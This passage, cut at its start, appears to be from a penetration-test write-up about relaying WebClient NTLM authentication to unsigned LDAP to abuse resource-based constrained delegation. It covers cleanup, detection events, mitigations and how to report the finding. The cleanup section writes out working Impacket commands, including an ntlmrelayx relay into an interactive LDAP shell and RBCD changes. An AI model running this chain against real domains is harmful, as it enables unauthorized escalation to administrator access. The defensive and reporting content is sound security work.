                    |   |
                    |   +-- Yes -> FQDN/Internet classification or credential-forwarding policy
                    |   +-- No
                    |
                    +-- NTLM reaches ntlmrelayx?
                        |
                        +-- No -> inspect HTTP headers and listener conflicts
                        +-- Yes
                            |
                            +-- LDAP authentication succeeds?
                                |
                                +-- No -> LDAP signing/CBT, protocol target, or relay compatibility
                                +-- Yes
                                    |
                                    +-- RBCD write succeeds?
                                        |
                                        +-- No -> wrong escalate account or insufficient relayed rights
                                        +-- Yes -> verify, obtain TGT, perform S4U, validate access

Cleanup

Plan cleanup before the test. Record the original RBCD value, DNS state, machine account, and listener records before you change them.

Cleanup step 1: Remove RBCD before deleting the controlled account

Use an authorized account for a targeted removal when possible:

impacket-rbcd \
  -action remove \
  -delegate-from 'RBCDTEST01$' \
  -delegate-to 'VICTIM01$' \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/authorized-admin'

If the low-privileged user cannot write the target object, relay the victim into an interactive LDAP shell:

sudo impacket-ntlmrelayx \
  -t ldap://10.0.0.10 \
  -i \
  --no-smb-server \
  --no-multirelay

Run the approved coercion again. When ntlmrelayx prints a local address such as 127.0.0.1:11000, connect to it:

nc 127.0.0.1 11000

Run this only when the recorded baseline was empty:

clear_rbcd VICTIM01$
exit

If the baseline had valid entries, do not clear the whole attribute. Remove only the test access-control entry (ACE), or restore the saved descriptor through the approved admin process.

Verify:

impacket-rbcd \
  -action read \
  -delegate-to 'VICTIM01$' \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/audituser'

Expected:

Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty

Cleanup step 2: Delete the controlled machine account

MAQ may allow creation without allowing deletion. Use an authorized admin if needed:

impacket-addcomputer \
  -delete \
  -computer-name 'RBCDTEST01$' \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/authorized-admin'

Verify no DN is returned:

ldapsearch -LLL \
  -H ldap://10.0.0.10 \
  -D 'audituser@CORP.LOCAL' \
  -W \
  -b 'DC=CORP,DC=LOCAL' \
  '(sAMAccountName=RBCDTEST01$)' \
  dn

Cleanup step 3: Delete the working dynamic DNS record

nsupdate -v
server 10.0.0.10
zone corp.local.
update delete KALIWEB01.corp.local. A
send
quit

Verify every authoritative server:

dig @10.0.0.10 KALIWEB01.CORP.LOCAL A +norecurse +short
dig @10.0.0.11 KALIWEB01.CORP.LOCAL A +norecurse +short

If one server still returns the record, send the approved delete to that server and check again.

Cleanup step 4: Delete abandoned LDAP-only DNS nodes

Failed tests may leave LDAP records that DNS never served. Remove them as well.

Default DomainDnsZones example for the wrong business-zone record:

python3 /opt/krbrelayx/dnstool.py \
  -u 'CORP.LOCAL\authorized-admin' \
  --zone business.example \
  -r 'KALIHTTP.business.example' \
  -a ldapdelete \
  -dns-ip 10.0.0.10 \
  10.0.0.10

Legacy partition example for the unpublished domain-zone record:

python3 /opt/krbrelayx/dnstool.py \
  -u 'CORP.LOCAL\authorized-admin' \
  --legacy \
  --zone corp.local \
  -r 'KALIHTTP.CORP.LOCAL' \
  -a ldapdelete \
  -dns-ip 10.0.0.10 \
  10.0.0.10

For a DomainDnsZones zone, omit --legacy. For a ForestDnsZones zone, use --forest.

Cleanup step 5: Remove local Kerberos tickets and stop listeners

unset KRB5CCNAME

Delete only the named engagement ticket files:

rm -f \
  '/path/to/RBCDTEST01$.ccache' \
  '/path/to/Administrator@cifs_VICTIM01.CORP.LOCAL@CORP.LOCAL.ccache'

Stop ntlmrelayx, packet capture, PetitPotam, Responder if used, and LDAP shells. Check the remaining listeners:

sudo ss -lntp | grep -E ':(80|445|11000)\b'

Rotate any secret exposed in shell history, screenshots, chat, or notes. Keep evidence under the engagement’s retention rules.

Detection opportunities

No single event shows the whole chain. Correlate DNS, HTTP, RPC, LDAP, and Kerberos activity.

Directory changes

  • Monitor modifications to msDS-AllowedToActOnBehalfOfOtherIdentity, particularly on workstation and server computer objects.
  • Alert on unexpected machine-account creation by ordinary users.
  • Review ms-DS-CreatorSID and machine-account creation events.
  • Monitor LDAP operations from unexpected hosts and machine accounts.

LDAP posture and events

  • Directory Service event 2886 indicates LDAP signing is not required.
  • Event 2887 identifies unsigned LDAP binds.
  • Monitor channel-binding events and migrate from audit to enforcement.
  • Investigate NTLM-authenticated LDAP sessions sourced from security-testing or non-management infrastructure.

WebDAV and HTTP

  • Look for workstation-originated OPTIONS and PROPFIND requests to unusual internal hosts.
  • Alert on WebDAV paths containing /PIPE/ or unexpected @80 UNC-derived behavior.
  • Monitor unexpected starts of the WebClient service.
  • Correlate WebClient activity with EFSRPC, spooler, DFS, or other coercion RPC calls.

DNS

  • Disable and alert on insecure dynamic updates.
  • Monitor new A records pointing to assessment, user, VPN, or otherwise non-server subnets.
  • Review dnsNode creations in both modern application partitions and legacy CN=MicrosoftDNS,CN=System storage.
  • Query all authoritative DNS servers when investigating short-lived records.

Kerberos

  • Monitor unusual S4U2Self and S4U2Proxy activity involving newly created machine accounts.
  • Correlate a new machine account, an RBCD attribute change, and service-ticket requests for privileged identities.

Mitigations

Require LDAP signing

Make DCs reject unsigned LDAP binds. Audit first so you can find old clients before enforcement. This stops the ldap:// relay shown here.

Enforce LDAP channel binding for LDAPS

TLS encryption alone is not channel binding. Enforce channel binding so a relay cannot move the logon into another TLS session.

Restrict or disable NTLM

Inventory NTLM use and enable audit logs. Reduce or disable NTLM where possible. This chain needs NTLM fallback.

Remove or disable WebClient where unnecessary

If a host does not need WebDAV, remove the feature or disable WebClient by policy. Start with privileged and management systems.

Treat AuthForwardServerList as sensitive

Broad entries can send credentials to more hosts than planned. Keep any required entries narrow and review them often.

Secure dynamic DNS

Require secure dynamic updates and review zone ACLs. An unauthenticated user should not be able to add internal A records. This separate weakness made my relay path much easier.

Reduce machine-account creation

Set MAQ to zero when provisioning permits it. Otherwise, control who may create computers. Monitor and remove unused machine objects.

Reduce coercion surfaces

Disable unused services and RPC interfaces. Restrict named pipes, patch systems, and segment management traffic. No one control blocks every coercion method.

Enforce egress and lateral network controls

Restrict workstation HTTP and SMB egress where the business allows it. A host that cannot reach the relay cannot finish the callback.

Keep SMB signing enabled—but understand its scope

SMB signing blocks many SMB relay paths. It does not stop HTTP NTLM relay to LDAP. Combine it with LDAP signing, channel binding, less NTLM, WebClient controls, and network filters.

Reporting the finding

Report the full chain, but list each fixable weakness on its own.

Suggested title:

WebClient NTLM Relay to Unsigned LDAP Enables Resource-Based Constrained Delegation and Workstation Compromise

Potential contributing findings:

  1. LDAP signing is not required on at least one domain controller.
  2. LDAP channel binding is absent or insufficient where LDAPS is in scope.
  3. WebClient is enabled on reachable workstations or privileged servers.
  4. The target exposes a usable authentication-coercion RPC interface.
  5. NTLM remains available for WebDAV authentication.
  6. Insecure DNS dynamic updates allow unauthenticated record creation.
  7. MachineAccountQuota permits ordinary users to create computer accounts.
  8. Network segmentation permits the victim to reach arbitrary HTTP listeners.

Evidence should include:

  • The original empty RBCD value.
  • WebClient enumeration output.
  • Coercion enumeration output.
  • DNS zone configuration and record resolution from all authoritative servers.
  • Packet capture showing WebDAV methods and NTLM negotiation.
  • ntlmrelayx authentication and delegation-success messages.
  • The populated RBCD attribute and controlled account SID.
  • S4U2Self/S4U2Proxy ticket issuance.
  • NetExec ccache authentication showing local-administrator access.
  • Post-test evidence showing RBCD empty, machine account deleted, DNS records absent, tickets removed, and listeners stopped.

Final lessons

The main lesson was the order of the checks, not one command.

“Port 80 did nothing” can describe many failures:

  • The RPC coercion never ran.
  • The coercion selected SMB instead of WebDAV.
  • WebClient was unavailable.
  • The listener name did not resolve.
  • The victim queried a different DNS server.
  • The dotted name was treated as Internet and credentials were withheld.
  • HTTP reached the listener without an NTLM token.
  • NTLM reached the relay, but LDAP required signing or channel binding.
  • LDAP authentication succeeded, but the RBCD write targeted the wrong object or principal.

Check one transition at a time:

RPC bind
-> expected coercion error
-> DNS resolution
-> TCP/80 SYN
-> HTTP OPTIONS/PROPFIND
-> Authorization: NTLM
-> LDAP authentication success
-> RBCD attribute change
-> machine TGT
-> S4U2Self
-> S4U2Proxy
-> CIFS ccache authentication

Use a separate evidence source for each gate. In my test, each problem belonged to one gate: the legacy DNS partition, the unpublished LDAP record, the WinHTTP name rule, the EFSRPC pipe, and the machine password. This method carries cleanly into the next engagement.

References